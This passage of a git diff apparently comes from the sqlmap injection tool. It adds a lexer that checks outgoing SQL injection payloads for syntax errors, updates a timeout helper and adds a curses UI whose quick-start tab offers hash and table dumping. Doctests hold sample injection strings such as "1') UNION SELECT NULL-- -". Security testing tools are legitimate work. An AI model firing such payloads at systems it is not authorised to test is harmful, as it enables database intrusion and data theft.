"unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>(?:[A-Za-z_@$]|[^\x00-\x7f])(?:[A-Za-z0-9_@$]|[^\x00-\x7f])*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT <offset> <limit>") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +# clause-introducing keywords that signal a dangling list item when they sit +# right after a comma ("SELECT a,b, FROM t"). GROUP/ORDER/LIMIT/OFFSET are +# excluded on purpose - they double as very common column names, so a bare +# "a,limit,b" would false-positive. +_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) + +# single-occurrence clause keywords (at most one per SELECT scope) with no +# identifier-collision risk - unlike GROUP/ORDER, which double as column names. +# a repeat at the same paren-depth is the 'WHERE x WHERE y' structural bug (e.g. +# a schema filter appended onto a base query that already carries a WHERE). +_SINGLE_CLAUSE_KEYWORDS = frozenset(("WHERE", "HAVING")) + +# set operators that begin a fresh SELECT, resetting single-occurrence clauses at +# the current scope ('a WHERE x UNION b WHERE y' is legal; two WHEREs are not). +_SET_OPERATORS = frozenset(("UNION", "EXCEPT", "INTERSECT", "MINUS")) + +# sqlmap's own templating markers. If any survives into a *final* outbound payload +# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always +# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside +# a string, or where the lexer would otherwise read it as an MSSQL [identifier]). +_LEFTOVER_MARKER = re.compile( + r"\[(?:RANDNUM\d*|RANDSTR\d*|INFERENCE|SLEEPTIME|DELAYED|DELIMITER_START|DELIMITER_STOP" + r"|ORIGVALUE|ORIGINAL|GENERIC_SQL_COMMENT|QUERY|UNION|CHAR|COLSTART|COLSTOP|DB" + r"|SINGLE_QUOTE|DOUBLE_QUOTE|AT_REPLACE|SPACE_REPLACE|DOLLAR_REPLACE|HASH_REPLACE)\]") + +# SQL words whose near-miss spelling in a structural position is almost always a +# broken payload, not a legitimate identifier (deliberately smaller than the full +# keyword list): catches payload-builder typos like UNI1ON/SEL2ECT/ORD2ER without +# flagging arbitrary application identifiers. +# only length>=5 structural keywords: short ones (ON/NOT/IN/IS/BY/OR/AND/ALL/ +# FROM/LIKE/NULL/...) are too easily near-missed by real column names (note->NOT, +# ono->ON), which the real-identifier stress test proved would false-positive. +_NEAR_KEYWORD_TARGETS = frozenset(( + "SELECT", "UNION", "DISTINCT", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "WHERE", "INNER", "RIGHT", "OUTER", "CROSS", "REGEXP", "RLIKE")) + +# single-char substitutions seen in accidental mutation/test edits +_DIGIT_KEYWORD_ALIASES = {"0": "O", "1": "I", "2": "E", "3": "E", "4": "A", "5": "S", "7": "T", "8": "B"} + +_CLAUSE_STARTERS = frozenset(( + "SELECT", "UNION", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "INTO", "JOIN", "ON", "AND", "OR")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _word(token): + if token is not None and token.type in (T_IDENT, T_KEYWORD): + return token.value.upper() + return None + + +def _atClauseBoundary(prev): + return prev is None or prev.type in (T_LPAREN, T_RPAREN, T_SEMI, T_COMMA) or \ + (prev.type == T_OP and prev.value not in (".",)) or \ + (prev.type == T_KEYWORD and prev.value.upper() in _CLAUSE_STARTERS) + + +def _editWithin1(a, b): + """Damerau-Levenshtein distance <= 1 (one insertion, deletion, substitution + or adjacent transposition). Catches every single-char keyword typo class.""" + la, lb = len(a), len(b) + if a == b or abs(la - lb) > 1: + return a == b + if la == lb: + diff = [i for i in range(la) if a[i] != b[i]] + if len(diff) == 1: # substitution + return True + if len(diff) == 2 and diff[1] == diff[0] + 1 and \ + a[diff[0]] == b[diff[1]] and a[diff[1]] == b[diff[0]]: # transposition + return True + return False + shorter, longer = (a, b) if la < lb else (b, a) # deletion/insertion + for i in range(len(longer)): + if shorter == longer[:i] + longer[i + 1:]: + return True + return False + + +def _nearKeywordCandidates(value): + """ + Structural SQL keywords one single-char typo away from an identifier + (Damerau distance 1; NOT generic fuzzy matching over the whole keyword file). + + >>> sorted(_nearKeywordCandidates("UNI1ON")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("SEL2ECT")) + ['SELECT'] + >>> sorted(_nearKeywordCandidates("UrNION")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNIN")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNOIN")) + ['UNION'] + """ + upper = value.upper() + if upper in _NEAR_KEYWORD_TARGETS or len(upper) < 4: + return set() + return set(target for target in _NEAR_KEYWORD_TARGETS if _editWithin1(upper, target)) + + +def _nearKeywordIsStructural(sig, index, keyword): + """True when a near-keyword identifier sits where that keyword is expected.""" + prev = sig[index - 1] if index > 0 else None + nxt = sig[index + 1] if index + 1 < len(sig) else None + prevWord = _word(prev) + nextWord = _word(nxt) + + if keyword == "UNION": + return nextWord in ("ALL", "DISTINCT", "SELECT") and \ + prevWord not in ("SELECT", "FROM", "WHERE", "GROUP", "ORDER", "BY", "HAVING", "LIMIT", "OFFSET", "JOIN", "ON", "AS") + + if keyword == "SELECT": + return prev is None or prev.type in (T_LPAREN, T_SEMI) or prevWord in ("UNION", "ALL", "DISTINCT", "EXCEPT", "INTERSECT") + + if keyword in ("ORDER", "GROUP"): + return nextWord == "BY" + + if keyword == "BY": + return prevWord in ("ORDER", "GROUP") + + if keyword in ("AND", "OR", "LIKE", "REGEXP", "RLIKE", "IN", "IS"): + return prev is not None and nxt is not None and prev.type in _OPERANDS and nxt.type in _OPERANDS.union((T_LPAREN,)) + + if keyword in ("FROM", "WHERE", "HAVING", "LIMIT", "OFFSET", "INTO", "JOIN", "ON"): + return _atClauseBoundary(prev) or prevWord in ("SELECT", "UPDATE", "DELETE", "INSERT", "FROM", "WHERE", "HAVING") + + if keyword in ("ALL", "DISTINCT"): + return prevWord in ("UNION", "SELECT") + + if keyword in ("NULL", "NOT"): + return _atClauseBoundary(prev) + + return False + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + >>> bool(checkSanity("SELECT a FROM t WHERE x=1 WHERE y=2")) + True + >>> checkSanity("SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2") + [] + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + + # -- residual templating markers (upstream substitution failed) -------- + for match in _LEFTOVER_MARKER.finditer(sql): + issues.append("leftover marker '%s' at offset %d" % (match.group(0), match.start())) + + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + unterminated = False + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + unterminated = True + break + + # unclosed '(' (a dropped ')'): well-formed payloads NEVER end paren-positive + # (leading break-out ')' only ever makes depth negative), so this is 0-FP. + if not unterminated and depth > 0: + issues.append("unbalanced parentheses (%d unclosed '(')" % depth) + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- keyword near-miss in a structural position: UNI1ON/SEL2ECT/ORD2ER + if cur.type == T_IDENT: + for keyword in sorted(_nearKeywordCandidates(cur.value)): + if _nearKeywordIsStructural(sig, i, keyword): + issues.append("keyword typo '%s' (near '%s') at offset %d" % (cur.value, keyword, cur.start)) + break + + # -- UNION must continue with SELECT/ALL/DISTINCT/'(' (catches a glued or + # corrupted continuation like 'UNION ALLSELECT' -> UNION <identifier>) + if cur.type == T_KEYWORD and cur.value.upper() == "UNION" and nxt is not None: + if not (nxt.type == T_LPAREN or (nxt.type == T_KEYWORD and nxt.value.upper() in ("SELECT", "ALL", "DISTINCT"))): + issues.append("UNION not followed by SELECT/ALL/DISTINCT at offset %d" % cur.start) + + # -- digit glued to a keyword: '1UNION', '5108AND' (a digit-started + # identifier like '4images' is legitimate and must NOT trip this) + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type == T_KEYWORD: + issues.append("digit glued to a keyword ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif prev.type == T_KEYWORD and prev.value.upper() == "SELECT" and cur.type == T_COMMA: + issues.append("comma right after SELECT at offset %d" % cur.start) + elif prev.type == T_COMMA and cur.type == T_KEYWORD and cur.value.upper() in _CLAUSE_KEYWORDS \ + and nxt is not None and nxt.type not in (T_COMMA, T_RPAREN): + # a clause keyword right after a comma AND followed by real content is a + # dangling list item ("a,b, FROM t"); if it is a bare list item itself + # ("a,group,b" - a column named 'group') the next token is a comma/paren/end + issues.append("dangling comma before '%s' at offset %d" % (cur.value, cur.start)) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + # -- duplicated single-occurrence clause at one scope ('WHERE x WHERE y') -- + # WHERE/HAVING may appear at most once per SELECT scope; a second one at the + # same paren-depth (no set operator or ';' resetting the SELECT in between) + # is a structural impossibility no surrounding query can undo - subquery + # clauses live at a deeper depth and reset on '(' / ')'. + scopeSeen = [set()] + for token in sig: + if token.type == T_LPAREN: + scopeSeen.append(set()) + elif token.type == T_RPAREN: + if len(scopeSeen) > 1: + scopeSeen.pop() + elif token.type == T_SEMI: + scopeSeen = [set()] + elif token.type == T_KEYWORD: + word = token.value.upper() + if word in _SINGLE_CLAUSE_KEYWORDS: + if word in scopeSeen[-1]: + issues.append("duplicate '%s' clause at offset %d" % (word, token.start)) + else: + scopeSeen[-1].add(word) + elif word in _SET_OPERATORS: + scopeSeen[-1].clear() + + return issues diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 950caa71768..0b252547e00 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,33 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import threading from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import TIMEOUT_STATE -def timeout(func, args=(), kwargs={}, duration=1, default=None): +def timeout(func, args=None, kwargs=None, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.result = None + self.timeout_state = None def run(self): try: - self.result = func(*args, **kwargs) - except Exception, msg: - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, msg) + self.result = func(*(args or ()), **(kwargs or {})) + self.timeout_state = TIMEOUT_STATE.NORMAL + except Exception as ex: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, ex) self.result = default + self.timeout_state = TIMEOUT_STATE.EXCEPTION thread = InterruptableThread() thread.start() thread.join(duration) - if thread.isAlive(): - return default + if thread.is_alive(): + return default, TIMEOUT_STATE.TIMEOUT else: - return thread.result + return thread.result, thread.timeout_state diff --git a/lib/utils/tui.py b/lib/utils/tui.py new file mode 100644 index 00000000000..3f5d6f43ead --- /dev/null +++ b/lib/utils/tui.py @@ -0,0 +1,933 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import subprocess +import sys +import tempfile + +try: + import curses +except ImportError: + curses = None + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import IS_WIN +from thirdparty.six.moves import configparser as _configparser + +# Options surfaced on the curated "Quick start" tab (by destination), in display order +QUICK_START_DESTS = ( + "url", "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short tab labels so the (sometimes verbose) option-group titles fit the top bar +TAB_ALIASES = { + "Optimization": "Optimize", + "Enumeration": "Enumerate", + "Brute force": "Brute", + "User-defined function injection": "UDF", + "File system access": "Files", + "Operating system access": "OS", + "Windows registry access": "Registry", + "Miscellaneous": "Misc", +} + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optTakesValue(option): + if hasattr(option, "takes_value"): + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +class NcursesUI: + def __init__(self, stdscr, parser): + self.stdscr = stdscr + self.parser = parser + self.current_tab = 0 + self.current_field = 0 + self.scroll_offset = 0 + self.tabs = [] + self.fields = {} + self.running = False + self.process = None + + # Initialize colors + self._init_colors() + + # Setup curses + curses.curs_set(0) + self.stdscr.keypad(1) + + # Parse option groups + self._parse_options() + + def _init_colors(self): + """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback""" + curses.start_color() + try: + curses.use_default_colors() + default_bg = -1 + except curses.error: + default_bg = curses.COLOR_BLACK + + if curses.COLORS >= 256: + accent, accent_fg, sel_bg = 75, 234, 237 + text, muted, green, red = 252, 245, 114, 210 + curses.init_pair(1, accent_fg, accent) # header / footer bar + curses.init_pair(2, accent_fg, accent) # active tab + curses.init_pair(3, muted, 236) # inactive tab + curses.init_pair(4, accent, sel_bg) # selected field row + curses.init_pair(5, muted, default_bg) # help / description + curses.init_pair(6, red, default_bg) # error / important + curses.init_pair(7, text, default_bg) # label / value + curses.init_pair(8, green, default_bg) # value that has been set + curses.init_pair(9, muted, sel_bg) # help text on the highlighted row + else: + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_BLUE) + curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(5, curses.COLOR_GREEN, default_bg) + curses.init_pair(6, curses.COLOR_RED, default_bg) + curses.init_pair(7, curses.COLOR_WHITE, default_bg) + curses.init_pair(8, curses.COLOR_GREEN, default_bg) + curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN) + + def _parse_options(self): + """Parse command line options into tabs and fields""" + self.all_options = [] + for group in _parserGroups(self.parser): + title = _groupTitle(group) + tab_data = { + 'title': title, + 'description': _groupDescription(group), + 'options': [] + } + + for option in _groupOptions(group): + dest = _optDest(option) + if not dest: + continue + field_data = { + 'dest': dest, + 'label': self._format_option_strings(option), + 'help': _optHelp(option), + 'type': _optValueType(option) if _optTakesValue(option) else 'bool', + 'value': '', + 'default': defaults.get(dest) if defaults.get(dest) else None + } + tab_data['options'].append(field_data) + self.fields[(title, dest)] = field_data + self.all_options.append(field_data) + + self.tabs.append(tab_data) + + # curated "Quick start" tab; references the same field objects as the group tabs, + # so a value edited in either place stays in sync + seen = {} + for tab in self.tabs: + for option in tab['options']: + seen.setdefault(option['dest'], option) + quick = { + 'title': 'Quick start', + 'description': "The options people reach for most. Fill these in, then press F2 to run.", + 'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen], + } + if quick['options']: + self.tabs.insert(0, quick) + + def _format_option_strings(self, option): + """Format option strings for display""" + return ', '.join(_optStrings(option)) + + def _tab_title(self, tab): + return TAB_ALIASES.get(tab['title'], tab['title']) + + def _draw_header(self): + """Draw the header bar""" + height, width = self.stdscr.getmaxyx() + self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, " " * width) + self.stdscr.addstr(0, 1, "sqlmap") + self.stdscr.attroff(curses.A_BOLD) + right = "F2 Run - F10 Quit " + try: + self.stdscr.addstr(0, max(8, width - len(right)), right) + except: + pass + self.stdscr.attroff(curses.color_pair(1)) + + def _get_tab_bar_height(self): + """Calculate how many rows the tab bar uses""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % self._tab_title(tab) + if x + len(tab_text) >= width: + y += 1 + x = 0 + if y >= 4: + break + x += len(tab_text) + 1 + + return y + + def _draw_tabs(self): + """Draw the tab bar""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % self._tab_title(tab) + if x + len(tab_text) >= width: + y += 1 + x = 0 + if y >= 4: + break + + if i == self.current_tab: + self.stdscr.attron(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(3)) + + try: + self.stdscr.addstr(y, x, tab_text) + except: + pass + + if i == self.current_tab: + self.stdscr.attroff(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(3)) + + x += len(tab_text) + 1 + + def _build_command(self): + """Assemble the equivalent sqlmap command line from the current field values""" + parts = ["sqlmap.py"] + for opt in self.all_options: + flag = opt['label'].split(',')[0].strip() if opt['label'] else "" + if not flag: + continue + value = opt['value'] + if opt['type'] == 'bool': + if value: + parts.append(flag) + elif value not in (None, "") and str(value) != str(opt.get('default') or ""): + text = str(value) + if ' ' in text or '"' in text: + text = '"%s"' % text.replace('"', '\\"') + parts.append("%s %s" % (flag, text)) + return " ".join(parts) + + def _draw_command(self): + """Live preview of the command being built, just above the footer""" + height, width = self.stdscr.getmaxyx() + cmd = "$ " + self._build_command() + if len(cmd) > width - 2: + cmd = cmd[:width - 5] + "..." + try: + self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD) + self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2]) + self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD) + except curses.error: + pass + + def _draw_footer(self): + """Draw the footer with help text""" + height, width = self.stdscr.getmaxyx() + footer = " Tab/<-/-> Section Up/Down Field Enter/Space Edit F2 Run F3 Export F4 Import F10 Quit " + + try: + self.stdscr.attron(curses.color_pair(1)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1]) + self.stdscr.attroff(curses.color_pair(1)) + except: + pass + + def _draw_current_tab(self): + """Draw the current tab content""" + height, width = self.stdscr.getmaxyx() + tab = self.tabs[self.current_tab] + + # Calculate tab bar height + tab_bar_height = self._get_tab_bar_height() + start_y = tab_bar_height + 1 + + # Clear content area + for y in range(start_y, height - 1): + try: + self.stdscr.addstr(y, 0, " " * width) + except: + pass + + y = start_y + + # Draw description if exists + if tab['description']: + desc_lines = self._wrap_text(tab['description'], width - 4) + for line in desc_lines[:2]: # Limit to 2 lines + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 2, line) + self.stdscr.attroff(curses.color_pair(5)) + y += 1 + except: + pass + y += 1 + + # Draw options (leave height-2 for the command preview, height-1 for the footer) + visible_start = self.scroll_offset + visible_end = visible_start + (height - y - 3) + + for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): + if y >= height - 3: + break + + is_selected = (i == self.current_field) + + # full-width highlight bar for the selected row + if is_selected: + try: + self.stdscr.attron(curses.color_pair(4)) + self.stdscr.addstr(y, 0, " " * (width - 1)) + self.stdscr.attroff(curses.color_pair(4)) + except: + pass + + # label + label = option['label'][:25].ljust(25) + label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7) + try: + self.stdscr.attron(label_attr) + self.stdscr.addstr(y, 2, label) + self.stdscr.attroff(label_attr) + except: + pass + + # value (green once the user has set one, muted "(default)" otherwise) + has_value = option['value'] not in (None, "", False) + if option['type'] == 'bool': + value = option['value'] if option['value'] is not None else option.get('default') + value_str = "[x]" if value else "[ ]" + value_attr = curses.color_pair(8) if value else curses.color_pair(5) + elif has_value: + value_str = str(option['value']) + value_attr = curses.color_pair(8) + elif option['default'] not in (None, False): + value_str = "(%s)" % str(option['default']) + value_attr = curses.color_pair(5) + else: + value_str = "" + value_attr = curses.color_pair(5) + + if is_selected: + value_attr = curses.color_pair(4) | curses.A_BOLD + try: + self.stdscr.attron(value_attr) + self.stdscr.addstr(y, 28, value_str[:30]) + self.stdscr.attroff(value_attr) + except: + pass + + # help text (always shown, including on the highlighted row so it stays readable) + if width > 65: + help_text = option['help'][:width - 62] if option['help'] else "" + help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5) + try: + self.stdscr.attron(help_attr) + self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61]) + self.stdscr.attroff(help_attr) + except: + pass + + y += 1 + + # Draw scroll indicator + if len(tab['options']) > visible_end - visible_start: + try: + self.stdscr.attron(curses.color_pair(6)) + self.stdscr.addstr(height - 3, width - 10, "[More...]") + self.stdscr.attroff(curses.color_pair(6)) + except: + pass + + def _wrap_text(self, text, width): + """Wrap text to fit within width""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += word + " " + else: + if current_line: + lines.append(current_line.strip()) + current_line = word + " " + + if current_line: + lines.append(current_line.strip()) + + return lines + + def _edit_field(self): + """Edit the current field""" + tab = self.tabs[self.current_tab] + if self.current_field >= len(tab['options']): + return + + option = tab['options'][self.current_field] + + if option['type'] == 'bool': + # Toggle boolean + option['value'] = not option['value'] + else: + # Text input (manual key loop so Esc can cancel and Enter can save) + height, width = self.stdscr.getmaxyx() + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.keypad(True) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) + input_win.attroff(curses.color_pair(2)) + input_win.attron(curses.color_pair(5)) + input_win.addstr(3, 2, "[Enter] save [Esc] cancel") + input_win.attroff(curses.color_pair(5)) + + buffer = str(option['value']) if option['value'] not in (None, "") else "" + max_len = max(1, width - 34) + curses.noecho() + curses.curs_set(1) + + while True: + shown = buffer[-max_len:] + input_win.addstr(2, 2, "Value: ") + input_win.addstr(2, 9, shown.ljust(max_len)[:max_len]) + input_win.move(2, 9 + len(shown)) + input_win.refresh() + + ch = input_win.getch() + if ch == 27: # Esc -> cancel, keep old value + buffer = None + break + elif ch in (curses.KEY_ENTER, 10, 13): # Enter -> commit + break + elif ch in (curses.KEY_BACKSPACE, 127, 8): + buffer = buffer[:-1] + elif 32 <= ch <= 126: + buffer += chr(ch) + + curses.curs_set(0) + + if buffer is not None: + if option['type'] == 'int': + try: + option['value'] = 